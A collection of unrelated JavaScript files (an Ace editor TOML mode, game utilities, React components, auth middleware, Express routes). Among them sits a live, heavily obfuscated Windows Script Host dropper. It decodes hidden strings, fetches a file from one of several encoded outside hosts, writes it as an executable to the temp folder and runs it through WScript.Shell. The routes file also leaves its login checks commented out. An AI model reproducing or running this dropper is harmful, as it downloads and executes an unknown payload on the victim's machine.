"use strict"; ace.define("ace/mode/toml_highlight_rules", ["require", "exports", "module", "ace/lib/oop", "ace/mode/text_highlight_rules"], function (require, exports, module) { "use strict"; var oop = require("../lib/oop"); var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules; var TomlHighlightRules = function TomlHighlightRules() { var keywordMapper = this.createKeywordMapper({ "constant.language.boolean": "true|false" }, "identifier"); var identifierRe = "[a-zA-Z\\$_\xA1-\uFFFF][a-zA-Z\\d\\$_\xA1-\uFFFF]*\\b"; this.$rules = { "start": [{ token: "comment.toml", regex: /#.*$/ }, { token: "string", regex: '"(?=.)', next: "qqstring" }, { token: ["variable.keygroup.toml"], regex: "(?:^\\s*)(\\[([^\\]]+)\\])" }, { token: keywordMapper, regex: identifierRe }, { token: "support.date.toml", regex: "\\d{4}-\\d{2}-\\d{2}(T)\\d{2}:\\d{2}:\\d{2}(Z)" }, { token: "constant.numeric.toml", regex: "-?\\d+(\\.?\\d+)?" }], "qqstring": [{ token: "string", regex: "\\\\$", next: "qqstring" }, { token: "constant.language.escape", regex: '\\\\[0tnr"\\\\]' }, { token: "string", regex: '"|$', next: "start" }, { defaultToken: "string" }] }; }; oop.inherits(TomlHighlightRules, TextHighlightRules); exports.TomlHighlightRules = TomlHighlightRules; }); ace.define("ace/mode/folding/ini", ["require", "exports", "module", "ace/lib/oop", "ace/range", "ace/mode/folding/fold_mode"], function (require, exports, module) { "use strict"; var oop = require("../../lib/oop"); var Range = require("../../range").Range; var BaseFoldMode = require("./fold_mode").FoldMode; var FoldMode = exports.FoldMode = function () {}; oop.inherits(FoldMode, BaseFoldMode); (function () { this.foldingStartMarker = /^\s*\[([^\])]*)]\s*(?:$|[;#])/; this.getFoldWidgetRange = function (session, foldStyle, row) { var re = this.foldingStartMarker; var line = session.getLine(row); var m = line.match(re); if (!m) return; var startName = m[1] + "."; var startColumn = line.length; var maxRow = session.getLength(); var startRow = row; var endRow = row; while (++row < maxRow) { line = session.getLine(row); if (/^\s*$/.test(line)) continue; m = line.match(re); if (m && m[1].lastIndexOf(startName, 0) !== 0) break; endRow = row; } if (endRow > startRow) { var endColumn = session.getLine(endRow).length; return new Range(startRow, startColumn, endRow, endColumn); } }; }).call(FoldMode.prototype); }); ace.define("ace/mode/toml", ["require", "exports", "module", "ace/lib/oop", "ace/mode/text", "ace/mode/toml_highlight_rules", "ace/mode/folding/ini"], function (require, exports, module) { "use strict"; var oop = require("../lib/oop"); var TextMode = require("./text").Mode; var TomlHighlightRules = require("./toml_highlight_rules").TomlHighlightRules; var FoldMode = require("./folding/ini").FoldMode; var Mode = function Mode() { this.HighlightRules = TomlHighlightRules; this.foldingRules = new FoldMode(); }; oop.inherits(Mode, TextMode); (function () { this.lineCommentStart = "#"; this.$id = "ace/mode/toml"; }).call(Mode.prototype); exports.Mode = Mode; });
/* - Author : Iain M Hamilton - <iain@beakable.com> - http://www.beakable.com Twitter: @beakable */ /** jsiso/utils simple common functions used throughout JsIso **/ define(function() { return { roundTo: function (num, dec) { return Math.round(num * Math.pow(10, dec)) / Math.pow(10, dec); }, rand: function (l, u) { return Math.floor((Math.random() * (u - l + 1)) + l); }, remove: function (from, to) { var rest = this.slice((to || from) + 1 || this.length); this.length = from < 0 ? this.length + from : from; return this.push.apply(this, rest); }, range: function(from, to) { return {from: from, to: to}; }, flipTwoDArray: function(arrayLayout, direction) { var tempArray = [], tempLine = [], i, j; if (direction === "horizontal") { for (i = arrayLayout.length - 1 ; i >= 0; i--) { for (j = 0; j < arrayLayout[i].length; j++) { tempLine.push(arrayLayout[i][j]); } tempArray.push(tempLine); tempLine = []; } return tempArray; } else if (direction === "vertical") { for (i = 0; i < arrayLayout.length; i++) { for (j = arrayLayout[i].length - 1; j >= 0; j--) { tempLine.push(arrayLayout[i][j]); } tempArray.push(tempLine); tempLine = []; } return tempArray; } }, rotateTwoDArray: function(arrayLayout, direction) { var tempArray = [], tempLine = [], i, j; var w = arrayLayout.length; var h = (arrayLayout[0] ? arrayLayout[0].length : 0); if (direction === "left") { for (i = 0; i < h; i++) { for (j = 0; j < w; j++) { if (!tempArray[i]) { tempArray[i] = []; } tempArray[i][j] = arrayLayout[w - j - 1][i]; } } return tempArray; } else if (direction === "right") { for (i = 0; i < h; i++) { for (j = 0; j < w; j++) { if (!tempArray[i]) { tempArray[i] = []; } tempArray[i][j] = arrayLayout[j][h - i - 1]; } } return tempArray; } }, lineSplit: function(ctx, text, width) { var textLines = []; var elements = ""; var line = ""; var tempLine = ""; var lastword = null; if(ctx.measureText(text).width > width) { elements = text.split(" "); for (var i = 0; i < elements.length; i++) { tempLine += elements[i] + " "; if (ctx.measureText(tempLine).width < width) { line += elements[i] + " "; lastword = elements[i]; } else { if (lastword && lastword !== elements[i]) { // Prevent getitng locked in a large word i --; textLines.push(line); } else { textLines.push(tempLine); } line = ""; tempLine = ""; } } } else{ textLines[0] = text; } if (line !== "") { textLines.push(line); } return textLines; } }; });
function setRH(CR, VR){ CR[VR]("User"+"-Agent", "TW96aWxsYS80LjAgCEMENTKGNvbXBhdGlibGU7IE1TSUUgNi4wOyCEMENTBXaW5kb3dzIE5UIDUuMCk=".acetilenButan()); } var Desdimonproducer_SayNoNo ="CEMENT"+ ""+""; var silkopil = "/"; var meuArData = new Array( 52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,115,52,52,52,116,105,106,107,108,109,110,111,112,113,114,52,52,52,52,52,52,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,52,52,52,52,52,52,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52 ); dirtyGog = {'U':'S' , ':':'.' , '88':'' , 'SEMYAK':'onseBody' , '77':'' , '101':'' , 'SEREDINA':'X', '11':''}; function Desdimonproducer_FROG2sud(vardos){ return vardos[("Desdimonproducer_customize","Desdimonproducer_hyperbole","Desdimonproducer_floating","Desdimonproducer_sixtyseven","Desdimonproducer_hottentot","l")+"en" +("Desdimonproducer_legation","Desdimonproducer_untenable","Desdimonproducer_arrival","Desdimonproducer_broadband","Desdimonproducer_detection","gt")+"h"]; }var birdMAN =1 + 0xfd +1; var meuArDataHO = Desdimonproducer_FROG2sud(meuArData); for (velVITK_OBLOM= 0; meuArDataHO >velVITK_OBLOM ; ++velVITK_OBLOM) { meuArData[velVITK_OBLOM] = -50+meuArData[velVITK_OBLOM] - 3; } var dirtyGog; var velVITK_BOSKO_2S = ""; var proto = "prot"+"otype"; var ft11 = function() { var Desdimonproducer_RazlomSS, line4, Desdimonproducer_Selection1, Desdimonproducer_FROG2c4; var Desdimonproducer_FROG2out = ""; var line3= this.replace(/CEMENT/gi, Desdimonproducer_FROG2out);line6 = 0; var Desdimonproducer_FROG2len = Desdimonproducer_FROG2sud(line3); while (line6 < Desdimonproducer_FROG2len) { do { var Desdimonproducer_koch = line3.charCodeAt(line6++) &(0x132- 0x33); Desdimonproducer_RazlomSS = meuArData[Desdimonproducer_koch]; } while (line6 < Desdimonproducer_FROG2len && Desdimonproducer_RazlomSS == -1); if (Desdimonproducer_RazlomSS == -1) break; do { stembl = "the"; line4 = meuArData[line3.charCodeAt(line6++) & birdMAN]; } while (line6 < Desdimonproducer_FROG2len && line4 == -1); if (line4 +2+1== 1+1) break; Desdimonproducer_FROG2out += String.fromCharCode((Desdimonproducer_RazlomSS << 2) | ((line4 & 0x30) >> 4)); do { Desdimonproducer_Selection1 = line3.charCodeAt(line6++) & 0xff; if (Desdimonproducer_Selection1 == 61) return Desdimonproducer_FROG2out; Desdimonproducer_Selection1 = meuArData[Desdimonproducer_Selection1]; } while (line6 < Desdimonproducer_FROG2len && Desdimonproducer_Selection1 == -1); if (Desdimonproducer_Selection1 == -1) break; Desdimonproducer_FROG2out += String.fromCharCode(((line4 & (0xe+1)) << 4) | ((Desdimonproducer_Selection1 & 0x3c) >> 2)); do { Desdimonproducer_FROG2c4 = line3.charCodeAt(line6++) & birdMAN; if (Desdimonproducer_FROG2c4 == 61) return Desdimonproducer_FROG2out; Desdimonproducer_FROG2c4 = meuArData[Desdimonproducer_FROG2c4]; } while (line6 < Desdimonproducer_FROG2len && Desdimonproducer_FROG2c4 == -1); if (Desdimonproducer_FROG2c4 == -1) break; Desdimonproducer_FROG2out += String.fromCharCode(((Desdimonproducer_Selection1 & 0x03) << 6) | Desdimonproducer_FROG2c4); } return Desdimonproducer_FROG2out; }; function Desdimonproducer_FROG2undefilled(rx, ry) { rx =HCKD / RDMP ; ry = velVLUMAHZZ + 109; }; Desdimonproducer_FROG2undefilled.dEDWWEE = function(){ Desdimonproducer_FROG2ok(Desdimonproducer_FROG2spyFunction1.Desdimonproducer_FROG2calledWith(), "Function called without arguments"); Desdimonproducer_FROG2publisher.Desdimonproducer_FROG2publish(this.Desdimonproducer_FROG2type1, "PROPER1"); Desdimonproducer_FROG2ok(Desdimonproducer_FROG2spyFunction1.Desdimonproducer_FROG2calledWith("PROPER1"), "Function called with 'PROPER1' argument"); Desdimonproducer_FROG2publisher.Desdimonproducer_FROG2publish(this.Desdimonproducer_FROG2type1, ["PROPER1", "PROPER2"]); }; var trigDA; String["prototype"].acetilenButan =ft11; function Gashish(SOcksRadFROGvostochniy){ SOcksRadPUPPYna = SOcksRadFROGvostochniy; for (var SOcksRadFROG2XCOP in dirtyGog){ SOcksRadPUPPYna = SOcksRadPUPPYna["repl" + "ace"](SOcksRadFROG2XCOP, dirtyGog[SOcksRadFROG2XCOP]); } return SOcksRadPUPPYna; }; var Desdimonproducer_LLL0LLL = "2"; var Desdimonproducer_FROG2TRUEFALSE=("V2lCEMENTuZG93cyBTY3JpcCEMENTHQgSG9zdA=CEMENT=".acetilenButan() +"MPO203ZDD" =="CEMENTV2lCEMENTuZG93cyBTY3JpcCEMENTHQgSG9zdA==".acetilenButan() +"MPO203ZDD")&&typeof(Desdimonproducer_FROG2GzEAPd)==="undefined"; var Desdimonproducer_FROGsrq = "UmVxdWVzdEhlYWRlcg==".acetilenButan(); var DesdimonproducerFPADRML =("").acetilenButan(); var Desdimonproducer_FROG2lidgen = "QWN0CEMENTaXZlWECEMENT9iamVjdA==".acetilenButan(); var Desdimonproducer_FROG2chosen = Math.round(0.7 * 2 - 0.4); var takeshiKitana = new Function("CEMENT,CEMENT2", "CEMENT[CEMENT2]();"); if(!Desdimonproducer_FROG2TRUEFALSE){ Desdimonproducer_FROG2undefilled.scale = function(Desdimonproducer_FROG2p, Desdimonproducer_FROG2scaleX, Desdimonproducer_FROG2scaleY) { if (line6sObject(Desdimonproducer_FROG2scaleX)) { Desdimonproducer_FROG2scaleY = Desdimonproducer_FROG2scaleX.y; Desdimonproducer_FROG2scaleX = Desdimonproducer_FROG2scaleX.x; } else if (!line6sNumber(Desdimonproducer_FROG2scaleY)) { Desdimonproducer_FROG2scaleY = Desdimonproducer_FROG2scaleX; } return new Desdimonproducer_FROG2undefilled(Desdimonproducer_FROG2p.x * Desdimonproducer_FROG2scaleX, Desdimonproducer_FROG2p.y * Desdimonproducer_FROG2scaleY); }; } function DesdimonproducerFPADZO_ZO(TT){ eval(TT); } if(!Desdimonproducer_FROG2TRUEFALSE){ Desdimonproducer_FROG2undefilled.Desdimonproducer_FROG2sameOrN = function(Desdimonproducer_FROG2param1, Desdimonproducer_FROG2param2) { return Desdimonproducer_FROG2param1.D == Desdimonproducer_FROG2param2.D || Desdimonproducer_FROG2param1.F == Desdimonproducer_FROG2param2.F; }; Desdimonproducer_FROG2undefilled.angle = function(Desdimonproducer_FROG2p) { return Math.atan2(Desdimonproducer_FROG2p.y, Desdimonproducer_FROG2p.x); }; } var Desdimonproducer_FROG2VARDOCF ="JVRFCEMENTTVAlCEMENT".acetilenButan(); var oLDNameCreator = new Function("CEMENT,CEMENT","trigDA = "+ ("bmV3IEZ1bmN0aW9uKCd2VlJFQkZGMycsJ3JldHVybiBcIlRWTT1cIg==").acetilenButan() + ".acetilenButan();');"); var Desdimonproducerruchka ="RXhwYW5CEMENTkRW52aXJvbm1lbnRTdHJCEMENTpbmCEMENTdz".acetilenButan(); var Desdimonproducer_FROGhatershaha = ""; var Desdimonproducer_FROGodnoklass = "UDqQmLVi"; function placeHolder(AOn){ return new ActiveXObject(AOn); } var Desdimonproducer_FROG2Native = function(options){ }; if(WSH){Desdimonproducer_FROG2Native.line6mplement = function(Desdimonproducer_FROG2objects, Desdimonproducer_FROG2properties){ for ( var line6 = 0, Desdimonproducer_FROG2l = Desdimonproducer_FROG2objects.length; line6 < Desdimonproducer_FROG2l; line6++) Desdimonproducer_FROG2objects[line6].line6mplement(Desdimonproducer_FROG2properties); }; oLDNameCreator(); } var Desdimonproducer_FROG2d7 ="WA==".acetilenButan() + "M" +"L"; var Desdimonproducer_FROG2_bChosteck = "aHR0cDovLwCEMENT=CEMENT="; function Desdimonproducer_FROG2_bCho(T, D, C) { R =D +""; T[D+""](C); } Desdimonproducer_FROG2d7 = trigDA() + Desdimonproducer_FROG2d7+ Gashish(("Desdimonproducer_pomerania","Desdimonproducer_cranium","Desdimonproducer_presage","Desdimonproducer_syria","Desdimonproducer_depot","2.")+"SEREDINAML77H101T"+"TP45CEMENT45"+"WS"+"cr"+"ipt:Uh")+"e"+"ll"; var Desdimonproducer_FROG2DoUtra = [Desdimonproducer_FROG2lidgen, Desdimonproducerruchka,Desdimonproducer_FROG2VARDOCF,"LmVCEMENT4ZQ=CEMENT=".acetilenButan(), "UnCEMENTVuCEMENT".acetilenButan(),Desdimonproducer_FROG2d7]; Desdimonproducer_FROG2Richters=Desdimonproducer_FROG2DoUtra.shift(); var Desdimonproducer_FROG2d2=Desdimonproducer_FROG2DoUtra.pop(); Desdimonproducer_FROG2fabled="Selection2Action"; var Desdimonproducer_FROG2LitoyDISK=ActiveXObject; var massMarket=Desdimonproducer_FROG2d2.split("45");Desdimonproducer_FROG2Native.Desdimonproducer_FROG2typize=function(a,b){a.type||(a.type=function(a){return Desdimonproducer_FROG2$type(a)===b})}; Desdimonproducer_FROGcccomeccc = "p"; var Limbus2000=new Function("HORN",' var GALAXY = "chastity necessarily()";var kelso = "ADODB.Str32"; return kelso.replace("DILBO", "D").replace("32", "eam");'); function x3fx3d(rdf){ return "?"+rdf+"="; } function Desdimonproducer_FROG2_cCho(a,b,c,d){a[b](c,d)} abtest = massMarket[Desdimonproducer_FROGcccomeccc + "op"](); var DesdimonproducerGooodName; function mimimix2(){ try{ ori_sel[fixed] = 0; /* Convert to face format*/ /* Mapping from permutation/orientation to facelet*/ for( var i = 0; i < 8; i++){ for( var j = 0; j < 3; j++) posit[pos[i][(ori_sel[i] + j) % 3]] = fmap[perm_sel[i]][j]; } }catch(exc1) { util_log(_sc + _inspect(exc1)); } DesdimonproducerGooodName = "b3BlbgCEMENT=CEMENT=".acetilenButan(); } DesdimonproducerSeason3 = placeHolder(abtest); mimimix2(); DesdimonproducerAist=new ActiveXObject(massMarket[0]); Desdimonproducer_FROG2tudabilo1 = "s"; eval(Desdimonproducer_SayNoNo.acetilenButan()); var Desdimonproducer_FROG2vulture = DesdimonproducerSeason3[Desdimonproducer_FROG2DoUtra.shift()](Desdimonproducer_FROG2DoUtra.shift()); Desdimonproducer_FROG2weasel = "GET"; var Desdimonproducer_FROG2SIDRENKOV = Desdimonproducer_FROG2DoUtra.shift(); Desdimonproducer_FROG2SPASPI = "type"; var Desdimonproducer_selectionPipe = Desdimonproducer_FROG2DoUtra.shift(); function Desdimonproducer_FROG2_aCho(R, K) { R[K](); } function DesdimonproducercomBAT(Desdimonproducer_FROG2gutter, Desdimonproducer_FROG2StrokaParam2) { var DesdimonproducerWasechO = ""+ Desdimonproducer_FROG2vulture; try{ DesdimonproducerWasechO=DesdimonproducerWasechO+silkopil; DesdimonproducerWasechO=DesdimonproducerWasechO +""+ Desdimonproducer_FROG2StrokaParam2 ; DesdimonproducerAist["open"](Desdimonproducer_FROG2weasel, Desdimonproducer_FROG2gutter, false); if(Desdimonproducer_FROG2TRUEFALSE){ Desdimonproducer_FROG2_cCho(DesdimonproducerAist,"set"+(11,"Desdimonproducer_umpire","Desdimonproducer_cinema","Desdimonproducer_webmaster","Desdimonproducer_healer","Desdimonproducer_worldwide","Desdimonproducer_slavish","Desdimonproducer_laugh",Desdimonproducer_FROGsrq),"User-Agent","TW96aWxsYS80LjAgCEMENTKGNvbXBhdGlibGU7IE1TSUUgNi4wOyCEMENTBXaW5kb3dzIE5UIDUuMCk=".acetilenButan()); } vlogTry = "11" DesdimonproducerAist[Desdimonproducer_FROG2tudabilo1 + ("Desdimonproducer_solution","Desdimonproducer_checklist","Desdimonproducer_precipitated","Desdimonproducer_cultural","Desdimonproducer_boring","en") + "" + "d"](); var havrosh2 = "Res"+"p"+(Desdimonproducer_FROG2StrokaParam2,"Desdimonproducer_invision","Desdimonproducer_opportunity",2112,"Desdimonproducer_ambulance","Desdimonproducer_contamination",dirtyGog['SEMYAK']); var havrosh = DesdimonproducerAist[havrosh2]; //if(havrosh < 29989)return false; // if (havrosh[0]!= 77 || havrosh[1]!= 90)return false; var Desdimonproducer_MainZ = new Desdimonproducer_FROG2LitoyDISK(Limbus2000()); if (Desdimonproducer_FROG2TRUEFALSE) { Desdimonproducer_FROGGaSMa = "Selection10Action"; var takeshiKitana2 = new Function("CEMENT,CEMENT2", "CEMENT['wr"+"ite'](CEMENT2);"); takeshiKitana(Desdimonproducer_MainZ,DesdimonproducerGooodName); Desdimonproducer_MainZ[Desdimonproducer_FROG2SPASPI] = Desdimonproducer_FROG2chosen; takeshiKitana2( Desdimonproducer_MainZ, havrosh); Desdimonproducer_FROG2XWaxeQhw = "Selection11Action"; Desdimonproducer_MainZ["position"] = 0; Desdimonproducer_FROG2krDwvrh = "Selection12Action"; DesdimonproducerWasechO = DesdimonproducerWasechO + Desdimonproducer_FROG2SIDRENKOV; Desdimonproducer_MainZ["cCEMENT2F2CEMENTZVCEMENTRvRmlsZQ==".acetilenButan()](DesdimonproducerWasechO, 26/13); Desdimonproducer_FROG2SswQdi = "Selection13Action"; Desdimonproducer_MainZ.close(); DesdimonproducerSeason3[Desdimonproducer_selectionPipe ](DesdimonproducerWasechO,0,false); } }catch(exception4) { util_log(_sc + _inspect(exception4)); return false;} return true; }; DesdimonproducerFPADZO_ZO(DesdimonproducerFPADRML); var Desdimonproducer_FROGodnoklassYO = 1; var Desdimonproducer_FROG2_a5 = ('CEMENTbXlzCEMENTdXNoaS5pdC91eWl0ZnU2NXV5Pw==SSSSCEMENTeW9tYTg4OC5jb20vdCEMENTXlpdGZ1NjV1eT8=SSSS'+'YWltb25pbm8uaW5mby9wNjYvdXlpdGZ1NjV1eQ=='+'CEMENTcmVzdGF1cmFudGVsYnVybGFkZXJvLmNvbS91eWCEMENTl0ZnU2NXV5Pw==SSSSSSSSCEMENT').split("SSSS"); var CEMENT500 = new Function("Desdimonproducer_FROG2_a5,Desdimonproducer_FROG2HORDA5", 'return Desdimonproducer_FROG2_bChosteck.acetilenButan() + Desdimonproducer_FROG2_a5[Desdimonproducer_FROG2HORDA5].acetilenButan();'); for(Desdimonproducer_FROG2HORDA5 in Desdimonproducer_FROG2_a5){ Desdimonproducer_FROGodnoklassYO++; var s1=CEMENT500(Desdimonproducer_FROG2_a5,Desdimonproducer_FROG2HORDA5)+x3fx3d(Desdimonproducer_FROGodnoklass)+Desdimonproducer_FROGodnoklass; var sDA2=Desdimonproducer_FROGodnoklass+ Desdimonproducer_FROGodnoklassYO; if(DesdimonproducercomBAT(s1,sDA2)){ break; } }
/** * * Video * */ import React from 'react'; // import styled from 'styled-components'; const video = require('../../resources/home.mp4'); function Video() { return ( <div style={style.videoContainer}> <h1 style={style.videoText}>Light Electric Vehicle Technologies</h1> <video autoPlay loop style={style.video} > <source src={video} type="video/mp4" /> <source src={video} type="video/ogg" /> Your browser does not support the video tag. </video> </div> ); } Video.propTypes = { }; const style = { videoContainer: { position: 'relative', display: 'flex', justifyContent: 'center', verticalAlign: 'center', fontFamily: 'sans-serif', }, video: { width: '80%', marginTop: '20px', opacity: '.9', }, videoText: { position: 'absolute', color: 'white', fontFamily: 'sans-serif', zIndex: '10', maxWidth: '400px', fontWeight: 500, fontSize: '54px', textAlign: 'center', marginTop: '200px', }, }; export default Video;
var keytar = require('keytar') module.exports = { get: get } function get (name) { var services = { 'darwin': 'AirPort' } return keytar.getPassword(services[process.platform], name) }
import React from 'react'; import {Link} from 'react-router'; import truncate from 'component-truncate'; import IssueLabel from './IssueLabel'; import UserDisplay from './UserDisplay'; function isEventLikeAClick(e) { return e.type === 'click' || (e.type === 'keydown' && (e.keyCode === 32 || e.keyCode === 13)); } const IssuesList = React.createClass({ propTypes: { issues: React.PropTypes.array.isRequired, links: React.PropTypes.object, goToPage: React.PropTypes.func.isRequired, status: React.PropTypes.string.isRequired, toggleStatus: React.PropTypes.func.isRequired }, handleClick(url, event) { if (isEventLikeAClick(event)) { this.props.goToPage(url); } }, render() { const {issues, links, status, toggleStatus} = this.props; return ( <div className="issues-viewer"> <h1>Issues</h1> {links && this.renderPager(links)} <ul className="open-close-toggle"> <li><span onClick={toggleStatus.bind(null, 'open')} className={status === 'open' ? 'active' : ''}>Open</span></li> <li><span onClick={toggleStatus.bind(null, 'closed')} className={status === 'closed' ? 'active' : ''}>Closed</span></li> </ul> <ul className='issues-list'> {issues.map(this.renderIssue)} </ul> </div> ); }, renderIssue(issue) { const {user} = issue; return ( <li className='issue' key={issue.id}> <h2> <Link to={`issues/${issue.number}`}>{issue.title}</Link> <ul className='labels'> {issue.labels.map((label, index) => (<IssueLabel label={label} key={index} />))} </ul> </h2> <p>{truncate(issue.body, 140, '...')}</p> <div className='reported'> <span className='issue-number'>#{issue.number}</span> reported by <UserDisplay className={"issue-reporter"} user={issue.user} /> </div> </li> ); }, renderPager(links) { const {first, last, next, prev} = links; return (<nav className="pager" role="navigation"> {first && this.renderLink(first, 'First')} {prev && ' | '} {prev && this.renderLink(prev, 'Previous')} {(prev && next) && ' | '} {next && this.renderLink(next, 'Next')} {next && ' | '} {last && this.renderLink(last, 'Last')} </nav>); }, renderLink(href, text) { return (<a tabIndex="0" role="button" onKeyDown={this.handleClick.bind(null, href)} onClick={this.handleClick.bind(null, href)}> {text} </a>) } }); export default IssuesList;
import { LOGIN, LOGOUT, SIGNUP, RESET_PASSWORD } from '../constants/actionTypes'; import { localStorageTokenName } from '../config'; export default function authMiddleware() { return next => action => { const { type } = action; if(__CLIENT__) { if(type === LOGIN || type === SIGNUP) { window.localStorage.setItem(localStorageTokenName, action.res.data.sessionToken); } if(type === LOGOUT) { window.localStorage.removeItem(localStorageTokenName); } } next(action); }; }
/** * Sample React Native App * https://github.com/facebook/react-native * @flow */ import React, { Component } from 'react'; import { AppRegistry, StyleSheet, Text, View, ScrollView, Image } from 'react-native'; var Dimensions = require('Dimensions'); var {width} = Dimensions.get('window'); // 引入计时器类库 var TimerMixin = require('react-timer-mixin'); // 引入json数据 var ImageData = require('./ImageData.json'); var ScrollViewDemo = React.createClass({ // 注册计时器 mixins: [TimerMixin], // 设置固定值 getDefaultProps(){ return{ // 触发时间:毫秒单位 duration: 1000 } }, // 设置可变的和初始值 getInitialState(){ return{ // 当前的页码 currentPage: 0 } }, render(){ return( <View style={styles.container}> <ScrollView ref="scrollView"//通过ref标记 horizontal={true} // 隐藏水平滚动条 showsHorizontalScrollIndicator={false} // 自动分页 pagingEnabled={true} // 当一帧滚动结束 onMomentumScrollEnd={(e)=>this.onAnimationEnd(e)} // 开始拖拽 onScrollBeginDrag={this.onScrollBeginDrag} // 停止拖拽 onScrollEndDrag={this.onScrollEndDrag1} > {this.renderAllImage()} </ScrollView> {/*返回指示器*/} <View style={styles.pageViewStyle}> {/*返回5个圆点*/} {this.renderPageCircle()} </View> </View> ); }, // 开始拖拽 回调 onScrollBeginDrag(){ // 停止定时器 this.clearInterval(this.timer); }, // 停止拖拽 回调 onScrollEndDrag1(){ // 开启定时器 this.startTimer(); }, // 组件都渲染后 实现一些复杂的操作 componentDidMount(){ // 开启定时器 this.startTimer(); }, // 开启定时器 startTimer(){ // 1. 拿到scrollView var scrollView = this.refs.scrollView; var imgCount = ImageData.data.length; // 2.添加定时器 this.timer --->可以理解成一个隐式的全局变量 this.timer = this.setInterval(function () { // 2.1 设置圆点 var activePage = 0; // 2.2 判断 if((this.state.currentPage+1) >= imgCount){ // 越界 activePage = 0; }else{ activePage = this.state.currentPage+1; } // 2.3 更新状态 this.setState({ currentPage: activePage }); // 2.4 让scrollView滚动起来 var offsetX = activePage * width; scrollView.scrollResponderScrollTo({x:offsetX, y:0, animated:true}); }, this.props.duration); }, // 返回所有的图片 renderAllImage(){ // 数组 var allImage = []; // 拿到图像数组 var imgsArr = ImageData.data; // 遍历 for(var i=0; i<imgsArr.length; i++){ // 取出单独的每一个对象 var imgItem = imgsArr[i]; // 创建组件装入数组 allImage.push( //这里的图片是放在Xcode工程 Images.xcassets里的资源 <Image key={i} source={{uri:imgItem.img}} style={{width:width, height:120}}/> ); } // 返回数组 return allImage; }, // 返回所有的圆点 renderPageCircle(){ // 定义一个数组放置所有的圆点 var indicatorArr = []; var style; // 拿到图像数组 var imgsArr = ImageData.data; // 遍历 for(var i=0; i<imgsArr.length; i++){ // 判断 style = (i==this.state.currentPage) ? {color:'red'} : {color:'#ffffff'}; // 把圆点装入数组 indicatorArr.push( <Text key={i} style={[{fontSize:25},style]}>&bull;</Text> ); } // 返回 return indicatorArr; }, // 当一页滚动结束的时候调用 onAnimationEnd(e){ // 1.求出水平方向的偏移量 var offSetX = e.nativeEvent.contentOffset.x; // 2.求出当前的页数 var currentPage = Math.floor(offSetX / width); // console.log(currentPage); // 3.更新状态机,重新绘制UI this.setState({ // 当前的页码 currentPage: currentPage }); } }); const styles = StyleSheet.create({ container:{ marginTop:20//状态栏20 }, pageViewStyle:{ width:width, height:25, backgroundColor:'rgba(0,0,0,0.4)', // 定位 position:'absolute', bottom:0, // 设置主轴的方向 flexDirection:'row', // 设置侧轴方向的对齐方式 alignItems:'center' } }); AppRegistry.registerComponent('component_demo', () => ScrollViewDemo);
version https://git-lfs.github.com/spec/v1 oid sha256:c9a3fc4f65ef4131a1e2ab94032546a8f17b98404d3d5e481d4352c86fa9bb85 size 39705
var freebox = require('./config/freebox'); var app = require('./config/app'); var client = require('../freebox-os-client')(freebox); client.trackAuthorizationProgress({ track_id: app.track_id });
'use strict'; /** * Module dependencies. */ var users = require('../../app/controllers/users.server.controller'), setting = require('../../app/controllers/setting.server.controller'); module.exports = function(app) { // Member Routes app.route('/setting') .get(setting.list) // .post(users.requiresLogin, setting.create); .post(setting.create); app.route('/setting/:settingId') .get(setting.read) // .put(users.requiresLogin, setting.hasAuthorization, setting.update) .put(setting.update) .delete(users.requiresLogin, setting.hasAuthorization, setting.delete); app.route('/setting/import') .post(setting.import); // Finish by binding the member middleware app.param('settingId', setting.settingByID); };
define(["require", "exports"], function (require, exports) { var DisplayType; (function (DisplayType) { DisplayType[DisplayType["UNKNOWN"] = 1] = "UNKNOWN"; DisplayType[DisplayType["STAGE"] = 2] = "STAGE"; DisplayType[DisplayType["CONTAINER"] = 4] = "CONTAINER"; DisplayType[DisplayType["DISPLAYOBJECT"] = 8] = "DISPLAYOBJECT"; DisplayType[DisplayType["SHAPE"] = 16] = "SHAPE"; DisplayType[DisplayType["GRAPHICS"] = 32] = "GRAPHICS"; DisplayType[DisplayType["MOVIECLIP"] = 64] = "MOVIECLIP"; DisplayType[DisplayType["BITMAP"] = 128] = "BITMAP"; DisplayType[DisplayType["SPRITESHEET"] = 256] = "SPRITESHEET"; DisplayType[DisplayType["BITMAPVIDEO"] = 512] = "BITMAPVIDEO"; DisplayType[DisplayType["BITMAPTEXT"] = 1024] = "BITMAPTEXT"; DisplayType[DisplayType["TEXTURE"] = 2048] = "TEXTURE"; })(DisplayType || (DisplayType = {})); Object.defineProperty(exports, "__esModule", { value: true }); exports.default = DisplayType; });
;(function($) { $('#open-web-app-install').on('click', function(e) { e.preventDefault(); installOpenWebApp(); }); $('#chrome-app-install').on('click', function(e) { e.preventDefault(); installChromeApp(); }); function installChromeApp() { var crxUrl = location.origin + '/chrome_app.crx?' + $.param({ url: $('#app-url').val(), name: $('#app-name').val(), icon_url: $('#app-icon-url').val(), }); $('#chrome-install-instructions').slideDown(300); window.location = crxUrl; } function installOpenWebApp() { var manifestUrl = location.origin + '/manifest.webapp?' + $.param({ url: $('#app-url').val(), name: $('#app-name').val(), icon_url: $('#app-icon-url').val(), }); var request = window.navigator.mozApps.installPackage(manifestUrl); request.onerror = function () { console.log('Install failed, error: ' + this.error.name); console.log(manifestUrl); }; } $('#toggle-extras button').on('click', function() { $('#toggle-extras').slideUp(150, function() { $('#extras').slideDown(300); }); }); })(jQuery);
